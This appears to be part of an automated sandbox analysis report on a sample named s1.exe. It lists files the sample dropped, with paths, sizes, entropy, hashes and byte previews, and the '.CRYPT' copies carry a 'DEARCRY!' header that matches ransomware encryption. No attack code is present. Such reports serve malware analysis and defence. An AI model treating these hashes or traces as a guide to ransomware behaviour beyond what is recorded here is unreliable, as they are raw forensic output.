                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3832
                                                              Entropy (8bit):7.942357640599277
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D4C40CCA9FA63DC1E65A61EF079492A7
                                                              SHA1:492C85DE0EEDC6064EFC3B0E4CFC8293712F5E0C
                                                              SHA-256:2B3590F9CE0047215E617154D9A1310FAE8F11E5F5846A8A8E5331D774787AD3
                                                              SHA-512:E4879142E10C940CD0DB2C3737355641430C07C9CF5EEBCED20C9543B3973D7791EF40A3414B050FC252D533960064B3DA20D75ECB0B607A4E0232042739D39F
                                                              Malicious:false
                                                              Preview: DEARCRY!.....[v..Af.7"..3.E....".s..f8.q....].m....Y.s/....D....pQ..CdM..1.ib...N......E....k.z.6.?...R..h.=.....q.t,...9(...wr......x~..I......`.uz...."..,S..%=n....h..x.c.....w~..V....F..F..X.U....g...F.4(..|..."..._`...W.....#=../...T...).p.E....T.....5A............&./..e.....7....~.....b.........Y.....i.,dW....S...=.....].7......''..r.R.sk._....q........'..!...s6$.`...4.Q.....[.....2;e^...K.mW..... ...=.\..d.......O..t.5...xQ..O&..........:e.p).88.....=1......vO.|...{.....G].i2QF.XW....b5G..;..N..........~{2.+.:.r(...Y.f.\....M.0.......I:d....2o..n..3...X.6.H..2Me..J..8_...q.+...1..e.v=X."..Z.o..G#....h...ic1vqy..)K...(.?Q..B..$..d.. u.A>....q(.Qq9..@....`..pf...J.Q.7....c....,@.V9n.e.....b. ...P8....~...7.t..#I.v..1..R.T......A....z!. ..$)h...B..D..^......P...../.........}....R9.0......]y.F...tw..y.A......q(........'`0`'R...W....0,~!......]w..7....E?5.."...H.%..JZI/.=.w.X..k.....s<9...a5Z....^5.SV..<E(._.@.O._.*.v....O ..?.N
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\28502d06-9d29-8514-1e5d-64447116d798.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2789
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:06EEDC0A9B1C62C12CAC063F02EC158A
                                                              SHA1:E60CAC6A328E8C8FF8F06EEC53202C2D581789CC
                                                              SHA-256:55E023C78D98F76A9CC29002E35FE3FE2DC9288DD1CFE4B427CDFBDBE83DEEC0
                                                              SHA-512:CC6E1E5445A648D19178132EDD902CF9CE247F14396D28DB4A96413A4495243294FB31279990AC15EE0D1CEA5E01472B11A23F7579A61509B5F1C5224699CD77
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\28502d06-9d29-8514-1e5d-64447116d798.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3080
                                                              Entropy (8bit):7.943599080561133
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9719C57EE602AC41CA35C77305D38A07
                                                              SHA1:416A45D671274FC639B53A92D33B501527030F59
                                                              SHA-256:20019122EC3994B412A2D5E8FF52E2D6795AD1EFF8D9E98AD02BEB307A26F840
                                                              SHA-512:CC7A91FA2456C11E2C72652A99FF27F8BE0F8ECF76159192039FB36784E8C081E55340E655303B9436EF236F48A4687599F058CB4893DE51E09DCB16A867B1D9
                                                              Malicious:false
                                                              Preview: DEARCRY!....Z&.F.G..M7...N.....&........,.L.{..i-............._..z..32...CG.g.=.!.E}..L.A..up....P.1E.~..."..E..........[.......e....6eaH..wq..u..\?.n[~.}.i.[WG.c...:...#...W..J....."8....)7.=...eJ....n....y.o.&.4.0.5.X.G.a.Y.....fG......'.0....1{.*..Q....<.............}..2..:0...A[./.4........2x.7...%%R...].w...x.8.....Y..Q...c...u.. ..aE_==..4.5..%........uZ.3..q..lI.A..Bt.=.3Yk..!Nc.....6Y.&...o..3s..s.[.....l.....u(...C..X.............p`!..,>..SO..["....pS,.WP......,5...#J>:.:.v..q5.......t.u....U.yh..^W...H.}.....<.V..n.....s.....y.o.....C.O..{7....Wl~..q..*..8z.........?.08...j.\.~.(=\...K.MI....U..s([..#y..b.JF.;K...&#VG;....y.}hO5......Ia...n.xE.......u<.|.....H-...J0u.M..9W.......7..X.&../.....E.-....)....`..Gx...-.).{....Dc.1T.[...3y...&.3}.zU.h..........,..;.....H6.6...8....j.+..i.s.W..tv[...2...<....z).I-9t..........!.mm...@.Cu..C...v<.q..D....r\.dg..].WI.#ad.v\.Y...;.L.g..t..98...U...sf.m..#...M....OKe.._....&l.k..t....,.}
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\28748306-9f02-a5d7-6ded-4459fddadc31.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2619
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3497DC0A5752A07ACEB8B7BB8EB1BBAC
                                                              SHA1:B38E330436BC1662AFBD6130444B11E61580277E
                                                              SHA-256:6A57412BA4E9E2EA15B9D8D9B67DB7327D4D7A2F8540290492783BD0CA94E6C7
                                                              SHA-512:6FE1219DAEC7FAC5E1D2F5FC448FF44DABF49D02547B546BA4784785A688E7D4524364C3218227268AB38D2BDFA6FE464DF52AB37DF3D92BE7D7780EC78FD2F0
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\28748306-9f02-a5d7-6ded-4459fddadc31.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2904
                                                              Entropy (8bit):7.936258490457513
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:97F4C6F4507BD9694842F590D43AB9A7
                                                              SHA1:8FC9459020C6EE0B9B6F1A15FF4F72719B3122CB
                                                              SHA-256:4892C456572BA47B0476147C039161DAA27C6E0531E446988BAC843813D12FCB
                                                              SHA-512:92EACC8D17799830DB6D38CF61640ACED4A7E28086A0F862E4978D3FEDCF28F00016C122AF14E663F82D4697D9A1CFAD81F8560DCE51C7C88A9B37AECAA6CF80
                                                              Malicious:false
                                                              Preview: DEARCRY!......H.5.su.B.\.. 0...@.k...Y(W..?R..X..o2...!.b.2....D.6.O:^.|...-.../kC.?.e....F...t...W....\.|.[...`..P.;....S.......=..D!0.j.{..O.4WI..|........!....;2.<..._.B..*Tj.j4._`...n..*C.AQf..........`..nC#.S.?.>.0..'W"4..;Gh...8.........#....g$.....;..........uM\...p.......:.....x..c.'W.74yW.!.......Z..0.[p.3.Yu~...r..C^u..o$...=..O.......[rc....a(....^..........b.@...r.y..5.^6a(...Q....Bl.>..|."..+..&M.X..wC...~.W.'.&.CA..x........L.H.Q.pV.;.N=.....z....z...*....l.x. .-EK.=..J..h....e...2M ~.......c...D..1(.....v.c..#.B..pOM.'..uO..n....?@......1.k8..........!....Y...3.2......<(.~.%......@Q....>.(.`....b$.mn.q..C2...=j|w~..@.:H..\.....F...i....&..}Q.........H..bu...bKR.6..j........^o.........d.m......6w#....."..;..R7..w.\.Z.d.....t..St...%.......X.....P..zWZ..?n..............u..6..-Mg..`z@.-.HL.T<,=.......8.P&W...eQ..zl.\..Uk.k.jLLL(./c.........~b.....V^....j...Kd..`pf?.-#..J..W.uL/.F.l...../...K.F...z.4.'y...C..>...T@...3..w8..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\3110b8d7-d60c-6adc-c3ce-bd22f748af91.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3190
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A1B37801A4D132200058CDFF08248F00
                                                              SHA1:8457FD5E97E7B0069D0CC3C0D29F0B932F714278
                                                              SHA-256:12A71C3DB6F1A9E2B14588BF321D17373CD188BC23556A0D4DF512B2D163373A
                                                              SHA-512:BAF1AE36ECD527B4B2ED903ADBC77F4F99442C7E502393383421BF854906D70A99D672166CD2BAB804AE2B22AAA882675733C5EB5BE4FC98204109834CA88023
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\3110b8d7-d60c-6adc-c3ce-bd22f748af91.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3480
                                                              Entropy (8bit):7.943400086033649
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:93E869AA4E062CFA8F45A911845013ED
                                                              SHA1:CE38CCF8251155021E017C96FE73145508D8C1B9
                                                              SHA-256:F9FD40C16103943ECCB5FD5A6267BFD0590BC00B84FE659D1C528077361C8550
                                                              SHA-512:02955C1285B554912C2246F029A281100B0CB0B9DA369AD87B7F8C75D84386EA4F67F190F9870115D387CAC9527D359C763E672DB3000CF6C47E3DB37CE9CB9C
                                                              Malicious:false
                                                              Preview: DEARCRY!..........5.G..kw....7.}.r.Mr...3....&\.P.....58B..`. ...X.=3..L..S...I,..iA0G0E..(7a._.+...u....F......w..:9.H...Z$....8.%....W|..L1...1m.....W.b#...-.a.....g..!2y....n.gK.l.!.7..*.K......O...q....Z....{......z.?=).=e..K2NF.U...z.]-...n.a..$....v.......+z.>..:..7`.E2..`.S...6+8Zpg.\.....'.......^!w:..//..c....?.......J.....G...?..+LZ..._.c. ..W..bl.UE.......R.8.F6..t.O^....6E..;.....L.^c.W...*..j.:..).o& ~I.=O......91.Y._"%.ey..}+)p..+.3...+.-Y...._..J.X+E........lSi.FG.\.........}E.=xK....:......uP....P./..lK....7.\.N......5z4.....Q8r.%./.......|.:#...k..j.....!+...[...$0$.3.....^7..Q......u.u..|0..p_.x..:.A........%<HL.H.]....z.N......K{....v..e._.2..&.O.....<.....:....[.:...0#.Y..4.......kf..%...A]<).(....:.G..n.y9".;...B.@.4...|.... ....~0....|.9..`)ix.._.`..2+....H*............5..!...!,=.+.87MV.....f...3...h.....'......4..*=a.sO7$.........4....(..6..\.kiH9.../[$P....Xp%i..Y.-^.. ...q.Y.:..m.....kN..;...1..Z..n..Q....+.c
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3511
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C322DD791461E083093591F0A4D6CF32
                                                              SHA1:19CE82C714FA5802AF8B275A783CF5CC3F3120D3
                                                              SHA-256:A5C31B7CA023E63BD3D4179462EAFE80B0D834A9181E9F6CF6FDBA8E37E0959F
                                                              SHA-512:5E1D3F77BE7AC5E73F59BD621E5CD903A9F02C9F98759C15992A58149DC6A420E4BD244DB3A354927A8DC33837302F096B4E59138F615D3FCC1069AAFA2F30DC
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3800
                                                              Entropy (8bit):7.947879269905373
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6D38A3681045F6CE190A582B4C3B93A9
                                                              SHA1:AB6723D179C240EEDDD40EF0530DB8B0FD245F87
                                                              SHA-256:BEAC13E7413D3A6879264C73C9FC79C8D45104F071B9CC8D709C64081F51344C
                                                              SHA-512:63EC3B06F9729FA9469848E009ECCD5809A5D9E0A855231ECA7472E420FE39EFB88E2F1F0DF164F1207466CE9B5C8DFAAB5E620CB64C1497D82ADE5E9ECE71F2
                                                              Malicious:false
                                                              Preview: DEARCRY!....g.,.P6..S~.#"$jYi?..l...@A..t4...\g&k.D...g..@..O..]\B~.......x..D.....Jlk6.h.(+E@+?...ZC.....g4.a....U.)[..'.f...$......sd]...........>...R.Lq...o..z........26CB%.Qh..U..3.A..._..'..H...c.c4..3...vbQZ.G$.@.Evs......|.G....B..V..R1.'...Gv..................%....3....X..[..W.xZ./...R......U.v.8..;J.@.... ...,a...s..$.h..iE...(...u..........8>.....'.$..lP.K.[.J......+7...GoX...5Z2.IFE%.{.w....)zTj.2Zc4....6..A.^...}j.......w5r......W.W.P.,TW...U...U......[....-.....v1.8d.~...S.1..........F.>..oWD.........n.'KP......ld..a.M.kw...D.../...F...'a..w..CFB....$q!_.....4.`.W..../...'.....%...Z.s..'gn..e..Vi...!-@.=.l@.u.......*....-.*CO..n...Z.~.-.mD....f..:..h..;Z$X..z...PGr].mh+`..B..].......~....<?.H.........}.1....<..poM.8..w-..(.;i......S.}eX...j.8i.7.'.....'.$....$.....Js.3..PT..K.....{.f...T..bz`.)mK.U...LRt.99[.J0.O.....6....j.e.B.ld;...TA.\../T..W....,.`L7.GY..../...o0...DSm|.d.)Eq..Vzr..T!?^.u.>..b..(.6.)%o@R{..~...a4v..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3212
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2F40DB3D09B2DB6BFDD683540155781E
                                                              SHA1:482DC060008F1E5839FF6B6DA9F547742626005C
                                                              SHA-256:C4D5DF95C8AFB4B6C999810BF83459470B4BC9A717B8EE1B1AC4DF034C311BED
                                                              SHA-512:79F5B230ADC96292A9B8CD8C9139B7945D8D5389E7EAC7D43373A928C89A2B60EFF942B1766A97D9395AFBFCCE7FC68920E00204F51D83929EF26750C01EB087
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3496
                                                              Entropy (8bit):7.944744506831304
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:71EE3022B5123E2A24A7FD30539E1DFD
                                                              SHA1:1250386F055A73FC5DF43999379EB7AD35D0F07B
                                                              SHA-256:C9007FBCB28BFD7C55936DDE3D1C23825E5FF151A7349C3B64249314724CA705
                                                              SHA-512:D32D8F1EBEE774565A7179D63CD6C7F0CA49863A7D357A4F262981FE859DF4DD2A341686AD0F0185242840024E9AF0004F1E5C4473809AC79003FCDAD8DB371D
                                                              Malicious:false
                                                              Preview: DEARCRY!.......vd$5.?...0.N..r.Q.F,............$D:.&.oz..H..!..|.Z.....YV.[.}/...'.3....k..s.(..)..90~...\9g......4o......0.......Q_..dN".SO&.....s.4./'wS_..v...V..v2=...V....Pg..p....D.n...eF5...S*0gm....1.].s..:.n.n.EV...h..7B.._|..[h..|K.q.9..Y..q..P|................#.....+g.....2.....D.......<...D.(5H.yj.(%.Lqk..5..tt.>.>H.Q....1-fC)M.......2Hf.@.CW...n...!Jf&...IS'R$...G~=zu.....f..V.j..h...l.........mH@g.y.....f%.Z..-..+.CM...0...........|..9..(.1/...~.C.......J3h0z6.S.....?....J^....-@!..?|...........|...GS(C.6T,t.r...V...2..q.2.....:G.m.;...7!Hi ..(.....2..m...V.V..e....N.S....".G9.p..w.C.......L.$.xr..4.......[$Y*.....AU..a.z.H.....6..6.t.a.P....j.T.7-....*..:.+Ex.6..-.I.....a.z...Yd1.q....^,...6`J..6....!..6e...t.|.0c6....G.I..%....C...n{A.)[..4+..ks../b.r.......'>...U/....U..M...H.......l.js......Y.@Ci..X......v.w...K...*.....~.&..y?.8../G.K........4.qT.>..b.......f.].4.R.....W........2.Q%.@g..5z.5.....9G..&.H>{..y...x...o..)...M.....
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\3e6fd8fd-6ecd-ad57-8d32-694f0edeeab6.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3207
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A3556518E341F737A7630A2E7F99DF9
                                                              SHA1:EA9C2033B6B79EA82E87F6F5BB047E1EAFC5AA55
                                                              SHA-256:84BE79FE6691BC5AE54FA2B9D043AE361C524BF9788E9CE1B79B118909E00464
                                                              SHA-512:E05B40F444A1EDF3F9D26B1BA36784CF4BB0607855E35692998489E1E643EB64D598F471F928535C6FBBA3B02176C469B19566419EFB27CC7AB3664309A71AEF
                                                              Malicious:false
